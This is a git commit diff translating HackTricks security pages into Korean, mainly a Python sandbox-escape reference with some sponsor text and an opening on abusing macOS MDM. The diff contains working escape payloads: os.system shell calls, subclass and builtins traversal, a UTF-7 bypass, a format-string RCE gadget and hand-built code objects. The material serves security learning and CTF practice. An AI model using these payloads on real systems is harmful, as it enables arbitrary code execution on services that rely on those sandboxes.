Translated ['README.md', 'generic-methodologies-and-resources/python/byp

This commit is contained in:
Translator 2024-11-09 13:52:06 +00:00
parent 77119a19de
commit 0344fc8a2f
31 changed files with 562 additions and 563 deletions

View file

@ -32,7 +32,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
@ -73,7 +73,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
* **최신 발표:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**오늘 저희와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 최고의 해커들과 협력하세요!
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요!
***
@ -81,7 +81,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -98,8 +98,8 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
**SerpApi**는 **검색 엔진 결과에 접근할 수 있는 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
SerpApi의 요금제 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
@ -111,11 +111,11 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것**입니다. 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
@ -123,7 +123,7 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의
## License & Disclaimer
그들을 확인하세요:
자세한 내용은 다음을 확인하세요:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -142,8 +142,8 @@ GCP 해킹 배우기 및 연습하기: <img src=".gitbook/assets/grte.png" alt="
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>
{% endhint %}

View file

@ -1,35 +1,33 @@
# Bypass Python sandboxes
# Python 샌드박스 우회
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks 지원하기</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
## 명령 실행 라이브러리
가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 다음 라이브러리 중 하나를 가져올 수 있는지입니다:
```python
os.system("ls")
os.popen("ls").read()
@ -62,7 +60,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
기억하세요, _**open**__**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
기억하세요, _**open**__**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **우회**하기 위해 **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
{% hint style="danger" %}
**Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 해줍니다.
@ -162,7 +160,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## 인코딩을 통한 보호 우회 (UTF-7)
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7을 사용하여 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행니다:
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하기 위해 UTF-7이 사용됩니다:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -203,7 +201,7 @@ class _:pass
```
### RCE 객체 생성 및 오버로드
당신이 **클래스를 선언**하고 그 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
당신이 **클래스를 선언**하고 **그 클래스의 객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
#### 사용자 정의 클래스를 통한 RCE
@ -276,7 +274,7 @@ Sub['import os; os.system("sh")']
```
#### 예외로 객체 생성하기
**예외가 발생할 때** **Exception**의 객체가 **생성**되며, 직접 생성자를 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
**예외가 발생할 때** **Exception**의 객체가 **생성됩니다**. 이를 위해 생성자를 직접 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
```python
class RCE(Exception):
def __init__(self):
@ -329,8 +327,8 @@ pass
```
## Builtins
* [**파이썬2의 내장 함수**](https://docs.python.org/2/library/functions.html)
* [**파이썬3의 내장 함수**](https://docs.python.org/3/library/functions.html)
* [**python2의 내장 함수**](https://docs.python.org/2/library/functions.html)
* [**python3의 내장 함수**](https://docs.python.org/3/library/functions.html)
**`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 임포트할 수 있습니다 (마지막 섹션에서 보여준 다른 문자열 표현도 사용할 수 있습니다):
```python
@ -384,7 +382,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**를 찾아 **builtins**을 찾습니다.
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**을 찾을 수 있습니다.
#### Python2 및 Python3
```python
@ -434,7 +432,7 @@ class_obj.__init__.__globals__
#### 우회로 서브클래스에 접근하기
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 수행되었지만 **다른 가능한 방법**도 있습니다:
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -563,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## 내장 함수, 전역 변수의 재귀적 검색...
{% hint style="warning" %}
이것은 정말 **멋집니다**. 만약 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 위치를 재귀적으로 찾아보세요.**
이것은 정말 **멋집니다**. 만약 당신이 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 장소를 재귀적으로 찾아보세요.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -680,15 +678,15 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
You can check the output of this script on this page:
이 스크립트의 출력을 이 페이지에서 확인할 수 있습니다:
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %}
## Python Format String
## Python 포맷 문자열
만약 **형식화**될 **문자열**을 파이썬에 **전송**하면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
**형식화**될 **문자열**을 python에 **전송**하면, `{}`를 사용하여 **python 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -756,16 +754,16 @@ str(x) # Out: clueless
```
### 형식에서 RCE로 라이브러리 로딩
[**이 글의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 형식 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드하는 것이 가능합니다.
[**이 글에서의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 형식 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드하는 것이 가능합니다.
상기할 점은, 파이썬에서 어떤 작업이 수행될 때마다 어떤 함수가 실행된다는 것입니다. 예를 들어 `2*3`**`(2).mul(3)`**을 실행하거나 **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**이 됩니다.
이와 유사한 내용은 [**호출 없이 파이썬 실행**](./#python-execution-without-calls) 섹션에서 확인할 수 있습니다.
이와 유사한 내용은 [**호출 없이 파이썬 실행**](./#python-execution-without-calls) 섹션에서 확인할 수 있습니다.
파이썬 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
파이썬 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
파이썬에서 그런 가젯을 찾기 위해, 글에서는 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)를 발견했습니다:
파이썬에서 그런 가젯을 찾기 위해, 글에서는 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)를 발견했습니다:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -799,9 +797,9 @@ The challenge actually abuses another vulnerability in the server that allows to
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**이 제공될 수 있으며, 이를 추출하기 위해 **함수**의 **내부**를 살펴봐야 합니다.
이것은 검사할 함수입니다:
This is the function to inspect:
```python
def get_flag(some_input):
var1=1
@ -821,7 +819,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__``func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
`__globals__``func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 몇 가지 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
```python
get_flag.func_globals
get_flag.__globals__
@ -834,7 +832,7 @@ CustomClassObject.__class__.__init__.__globals__
### **함수 코드 접근하기**
**`__code__`** 및 `func_code`: 이 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을** 있습니다.
**`__code__`** 및 `func_code`: 이 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을** 있습니다.
```python
# In our current example
get_flag.__code__
@ -848,7 +846,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### 코드 정보 가져오
### 코드 정보
```python
# Another example
s = '''
@ -922,7 +920,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)로부터 추측할 수 있습니다.
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)를 통해 추측할 수 있습니다.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -944,10 +942,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Compiling Python
## Python 컴파일
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
다음 예제와 같이, 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
다음 예제와 같이, 해당 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
```python
def get_flag(some_input):
var1=1
@ -1007,7 +1005,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
포스트의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
@ -1037,7 +1035,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수**를 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해서는 **제한된 환경이 아닌 함수가 필요합니다.**
`eval` 또는 `exec`에 접근할 수 없는 경우 **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없습니다_. 따라서 이 함수를 호출하기 위해 **제한된 환경에 있지 않은 함수가 필요합니다.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1047,7 +1045,7 @@ f(42)
```
## 컴파일된 파이썬 디컴파일하기
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
**이 튜토리얼을 확인하세요**:
@ -1060,7 +1058,7 @@ f(42)
### Assert
`-O` 매개변수로 최적화된 상태에서 실행된 파이썬은 assert 문과 **debug** 값에 따라 조건부인 코드를 제거합니다.\
따라서, 다음과 같은 체크들:
따라서, 다음과 같은 체크들
```python
def check_permission(super_user):
try:
@ -1082,9 +1080,9 @@ will be bypassed
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -1098,7 +1096,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.p
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환할 수 있는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -28,21 +28,21 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 탈취**하는 데 성공하면, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 잠재적으로 손상시킬 수 있습니다.**
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 손상시키는 데 성공하면**, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 손상시킬 수 있습니다.**
MacOS 환경에서 레드 팀 활동을 수행하려면 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
MacOS 환경에서 레드 팀 활동을 수행하기 위해 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
### C2로서 MDM 사용하기
### MDM을 C2로 사용하기
